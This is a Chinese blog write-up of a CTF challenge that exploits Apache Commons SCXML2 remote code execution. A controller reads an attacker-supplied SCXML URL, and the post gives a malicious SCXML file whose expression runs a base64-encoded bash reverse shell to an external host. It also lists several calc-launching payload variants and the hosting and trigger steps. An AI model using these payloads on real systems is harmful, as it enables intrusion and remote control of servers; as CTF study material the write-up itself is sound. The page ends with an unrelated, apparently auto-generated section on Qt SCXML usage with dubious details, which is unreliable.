Apache SCXML2 RCE漏洞

文章讲述了作者在参加HDCTF2023比赛时,如何利用提供的恶意XML文件构造payload,通过SCXML技术实现远程代码执行(RCE),并通过内网穿透搭建临时文件服务器,最终成功获取flag的过程。
摘要由CSDN通过智能技术生成


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录(已解决)

源码利用

题目提供一个附件,idea反编译后
查看网站的Controller目录,其中有一个Flagcontroller类,源码如下:

@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();
        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是在/Flag路由下接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建临时文件服务器

利用内网穿透https服务器映射我们虚拟机的8000端口
(注意用花生壳的https而不是tcp,因为tcp的无法访问web)

我们开启临时文件服务器,执行下面命令

python3 -m http.server 8000

在这里插入图片描述
访问8000端口,成功访问
在这里插入图片描述

远程RCE

我们直接在题目处远程RCE读取我们的xml文件,payload如下

http://node4.anna.nssctf.cn:28052/Flag?filename=https://5i781963p2.yicp.fun/shell.xml

注:其他师傅payload为http服务器,我用的是https
在这里插入图片描述反弹shell成功,得到flag
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在Qt中使用SCXML需要遵循以下步骤: 1. 安装Qt的State Machine模块。在Qt Creator中,可以在项目文件中添加以下行: ``` QT += statecharts ``` 2. 创建SCXML文件。可以使用任何SCXML编辑器创建SCXML文件。 3. 在Qt Creator中创建一个新的状态机。选择“项目”菜单,然后选择“添加新文件”。在“其他”类别下选择“状态机”文件类型。 4. 在状态机编辑器中导入SCXML文件。在状态机编辑器中,选择“导入”菜单,然后选择SCXML文件。 5. 为状态机添加状态和转换。在状态机编辑器中,通过拖放状态和转换来创建状态机。 6. 在代码中使用状态机。在代码中,使用QStateMachine类来加载状态机,并使用QFinalState和QState类来处理状态和转换。 示例代码如下: ``` #include <QStateMachine> #include <QFinalState> #include <QState> int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); QStateMachine machine; QState *s1 = new QState(); QState *s2 = new QState(); s1->addTransition(s1, SIGNAL(entered()), s2); s2->addTransition(s2, SIGNAL(entered()), s1); QFinalState *finalState = new QFinalState(); s2->addTransition(s2, SIGNAL(entered()), finalState); machine.addState(s1); machine.addState(s2); machine.addState(finalState); machine.setInitialState(s1); machine.start(); return a.exec(); } ``` 这个例子定义了一个带有两个状态和一个终止状态的状态机。在状态机中,通过添加转换,将状态1转换到状态2,并将状态2转换到状态1。最后,状态2将转换到终止状态。状态机通过调用start()方法开始执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值